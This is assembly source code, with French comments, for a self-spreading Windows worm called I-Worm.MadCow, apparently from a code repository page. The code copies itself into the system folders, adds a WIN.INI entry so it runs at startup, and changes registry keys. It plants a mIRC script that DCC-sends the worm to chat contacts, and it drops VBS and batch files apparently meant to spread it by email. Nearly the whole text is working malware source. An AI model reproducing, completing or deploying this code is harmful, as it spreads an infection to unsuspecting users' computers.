||||
db "n2= /.dcc send $nick C:\Win32\MadCow.exe",0dh,0ah
|
||||
db "n3=}",00h
|
||||
initaille equ $-inid
|
||||
|
||||
include icone.inc
|
||||
|
||||
.code
|
||||
DEBUT:
|
||||
VERIF: mov eax,offset CLE ; V‚rifie si il existe une cl‚
|
||||
call REG ; [Atchoum] dans HKLM\Software.
|
||||
cmp [regDisp],1 ; Si elle n'y est pas,
|
||||
jne INIFILE ; on installe les composants
|
||||
|
||||
COPIE: push 0 ;
|
||||
call GetModuleHandleA ;
|
||||
push 260 ;
|
||||
push offset szOrig ;
|
||||
push eax ;
|
||||
call GetModuleFileNameA ; Copie le fichier original
|
||||
push 260 ;
|
||||
push offset szCopie ;
|
||||
call GetSystemDirectoryA ; dans le dossier SYSTEM
|
||||
push offset Copie ;
|
||||
push offset szCopie ;
|
||||
call lstrcat ; sous le nom de Wininet32.exe
|
||||
push 00h ;
|
||||
push offset szCopie ;
|
||||
push offset szOrig ;
|
||||
call CopyFileA ;
|
||||
push 260 ; puis
|
||||
push offset szCopi2 ;
|
||||
call GetWindowsDirectoryA ; … nouveau dans le dossier WINDOWS
|
||||
push offset Copie2 ;
|
||||
push offset szCopi2 ;
|
||||
call lstrcat ; sous le nom de MadCow.exe
|
||||
push 00h ;
|
||||
push offset szCopi2 ;
|
||||
push offset szOrig ;
|
||||
call CopyFileA ;
|
||||
|
||||
WIN_INI:push 260 ; Pour lancer le programme, on peut
|
||||
push offset szWin ;
|
||||
call GetWindowsDirectoryA ; utiliser la base de registre ou le
|
||||
push offset Winini ;
|
||||
push offset szWin ; fichier WIN.INI dans le dossier
|
||||
call lstrcat ;
|
||||
push offset szWin ; WINDOWS. La d‚marche est simple :
|
||||
push offset szCopie ; [windows]
|
||||
push offset run ; run="nom du programme"
|
||||
push offset windows ;
|
||||
call WritePrivateProfileStringA ;
|
||||
|
||||
DIR: push 00h ; On cr‚e ici C:\Win32
|
||||
push offset Dossier ;
|
||||
call CreateDirectoryA ;
|
||||
EMAIL :push 00000000h ; On va cr‚er C:\Win32\ENVOIE.VBS
|
||||
push 00000080h ;
|
||||
push 00000002h ;
|
||||
push 00000000h ;
|
||||
push 00000001h ;
|
||||
push 40000000h ;
|
||||
push offset VBSFILE ;
|
||||
call CreateFileA ;
|
||||
mov [fh],eax ;
|
||||
push 00h ;
|
||||
push offset octets ;
|
||||
push vbstaille ;
|
||||
push offset vbsd ;
|
||||
push [fh] ;
|
||||
call WriteFile ;
|
||||
push [fh] ;
|
||||
call CloseHandle ;
|
||||
EXEC :push 00000000h ; et C:\Win32\ENVOIE.BAT
|
||||
push 00000080h ;
|
||||
push 00000002h ; qui va ‚x‚cuter ENVOIE.VBS
|
||||
push 00000000h ;
|
||||
push 00000001h ;
|
||||
push 40000000h ;
|
||||
push offset BATFILE ;
|
||||
call CreateFileA ;
|
||||
mov [fh],eax ;
|
||||
push 00h ;
|
||||
push offset octets ;
|
||||
push battaille ;
|
||||
push offset batd ;
|
||||
push [fh] ;
|
||||
call WriteFile ;
|
||||
push [fh] ;
|
||||
call CloseHandle ;
|
||||
jmp EXECBAT ;
|
||||
|
||||
REG: push offset regDisp ;
|
||||
push offset regResu ;
|
||||
push 0 ;
|
||||
push 0F003Fh ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push eax ; Software\[Atchoum]
|
||||
push 80000002h ; HKEY_LOCAL_MACHINE
|
||||
call RegCreateKeyExA ;
|
||||
push [regResu] ; met la valeur dans regResu
|
||||
call RegCloseKey ;
|
||||
ret ;
|
||||
|
||||
INIFILE:push 00000000h ; On va cr‚er dans C:\Win32
|
||||
push 00000001h ;
|
||||
push 00000002h ; le fichier script.ini
|
||||
push 00000000h ;
|
||||
push 00000001h ; en lecture seul.
|
||||
push 40000000h ;
|
||||
push offset fileini ;
|
||||
call CreateFileA ;
|
||||
mov [fh],eax ;
|
||||
push 00h ;
|
||||
push offset octets ;
|
||||
push initaille ;
|
||||
push offset inid ;
|
||||
push [fh] ;
|
||||
call WriteFile ;
|
||||
push [fh] ;
|
||||
call CloseHandle ;
|
||||
|
||||
push 00h ; On va copier ce fichier dans les
|
||||
push offset script1 ; r‚pertoire suivant :
|
||||
push offset fileini ;
|
||||
call CopyFileA ; C:\mirc C:\mirc32
|
||||
test eax,eax ; C:\program files\mirc et dans
|
||||
jnz COPYWIN ; C:\program files\mirc32
|
||||
push 00h ;
|
||||
push offset script2 ; Si il arrive … se copier dans un
|
||||
push offset fileini ; de ces fichier, il va cr‚er une
|
||||
call CopyFileA ; copie du programme dans C:\Win32
|
||||
test eax,eax ; le nom MadCow.exe
|
||||
jnz COPYWIN ;
|
||||
push 00h ;
|
||||
push offset script3 ;
|
||||
push offset fileini ;
|
||||
call CopyFileA ;
|
||||
test eax,eax ;
|
||||
jnz COPYWIN ;
|
||||
push 00h ;
|
||||
push offset script4 ;
|
||||
push offset fileini ;
|
||||
call CopyFileA ;
|
||||
test eax,eax ;
|
||||
jz ICOFILE ;
|
||||
|
||||
COPYWIN:push 0 ;
|
||||
call GetModuleHandleA ;
|
||||
push 260 ;
|
||||
push offset szOrig2 ;
|
||||
push eax ;
|
||||
call GetModuleFileNameA ; Copie le fichier original
|
||||
push 00h ;
|
||||
push offset Copie3 ;
|
||||
push offset szOrig2 ;
|
||||
call CopyFileA ;
|
||||
jmp FIN ;
|
||||
|
||||
ICOFILE:push 00000000h ; On va cr‚er … la base du disque
|
||||
push 00000080h ;
|
||||
push 00000002h ; dur le fichier Salut.ico
|
||||
push 00000000h ;
|
||||
push 00000001h ;
|
||||
push 40000000h ;
|
||||
push offset fichier ;
|
||||
call CreateFileA ;
|
||||
mov [fh],eax ;
|
||||
push 00h ;
|
||||
push offset octets ;
|
||||
push icotaille ;
|
||||
push offset icod ;
|
||||
push [fh] ;
|
||||
call WriteFile ;
|
||||
push [fh] ;
|
||||
call CloseHandle ;
|
||||
push 260 ; On d‚place le fichier Salut.ico
|
||||
push offset szCico ;
|
||||
call GetSystemDirectoryA ; dans le dossier SYSTEM sous
|
||||
push offset Copico ;
|
||||
push offset szCico ; MSLS.ICO
|
||||
call lstrcat ;
|
||||
push offset szCico ;
|
||||
push offset fichier ;
|
||||
call MoveFileA ; => c'est fait
|
||||
|
||||
REG2: push offset l ;
|
||||
push offset p ;
|
||||
push 0 ;
|
||||
push 1F0000h + 1 + 2h ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push offset CLE2 ; Run
|
||||
push 80000000h ; HKEY_CLASSES_ROOT
|
||||
call RegCreateKeyExA ;
|
||||
push 05h ;
|
||||
push offset szCico ; %system%\MSLS.ico
|
||||
push 01h ;
|
||||
push 0 ;
|
||||
push 00h ; VALEUR PAR DEFAUT
|
||||
push p ;
|
||||
call RegSetValueExA ; CREE UN REGISTRE
|
||||
push 0 ;
|
||||
call RegCloseKey ; FERME LA BASE DE REGISTRE
|
||||
jmp FIN ; PUIS TERMINE LE PROGRAMME
|
||||
|
||||
EXECBAT:push 01h ; On ‚x‚cute le fichier ENVOIE.BAT
|
||||
push offset BATFILE ;
|
||||
call WinExec ;
|
||||
FIN: push 00h ; FIN DU PROGRAMME
|
||||
call ExitProcess ;
|
||||
|
||||
end DEBUT
|
||||
|
||||
*************************************************************************
|
||||
|
||||
comment *
|
||||
|
||||
ICONE.INC pour I-Worm.MadCow
|
||||
CE FICHIER EST LA FORME HEXADECIMAL DE L'ICONE QUE L'ON VEUT CREER
|
||||
*
|
||||
|
||||
icod:
|
||||
db 000h,000h,001h,000h,001h,000h,010h,010h,010h,000h,000h,000h,000h,000h
|
||||
db 028h,001h,000h,000h,016h,000h,000h,000h,028h,000h,000h,000h,010h,000h
|
||||
db 000h,000h,020h,000h,000h,000h,001h,000h,004h,000h,000h,000h,000h,000h
|
||||
db 0C0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,010h,000h
|
||||
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,080h,000h
|
||||
db 000h,080h,000h,000h,000h,080h,080h,000h,080h,000h,000h,000h,080h,000h
|
||||
db 080h,000h,080h,080h,000h,000h,0C0h,0C0h,0C0h,000h,080h,080h,080h,000h
|
||||
db 000h,000h,0FFh,000h,000h,0FFh,000h,000h,000h,0FFh,0FFh,000h,0FFh,000h
|
||||
db 000h,000h,0FFh,000h,0FFh,000h,0FFh,0FFh,000h,000h,0FFh,0FFh,0FFh,000h
|
||||
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h
|
||||
db 000h,00Fh,0F0h,000h,000h,000h,000h,000h,000h,00Fh,0F0h,000h,000h,00Fh
|
||||
db 0FFh,000h,000h,00Fh,0F0h,000h,000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h
|
||||
db 000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
|
||||
db 0F0h,000h,00Fh,000h,00Fh,00Fh,000h,00Fh,0F0h,000h,0F0h,0FFh,000h,0F0h
|
||||
db 0F0h,00Fh,0F0h,000h,0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h
|
||||
db 000h,00Fh,000h,00Fh,0F0h,000h,00Fh,0FFh,0FFh,0FFh,000h,00Fh,0F0h,000h
|
||||
db 0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
|
||||
db 0F0h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
|
||||
db 0FFh,0FFh,000h,000h,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh
|
||||
db 07Eh,03Eh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Bh,0EEh
|
||||
db 0FFh,0FFh,07Bh,0AEh,0FFh,0FFh,074h,0D6h,0FFh,0FFh,077h,0F6h,0FFh,0FFh
|
||||
db 07Bh,0EEh,0FFh,0FFh,078h,00Eh,0FFh,0FFh,077h,0F6h,0FFh,0FFh,07Bh,0EEh
|
||||
db 0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,000h,000h,0FFh,0FFh
|
||||
icotaille equ $-icod
|
||||
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user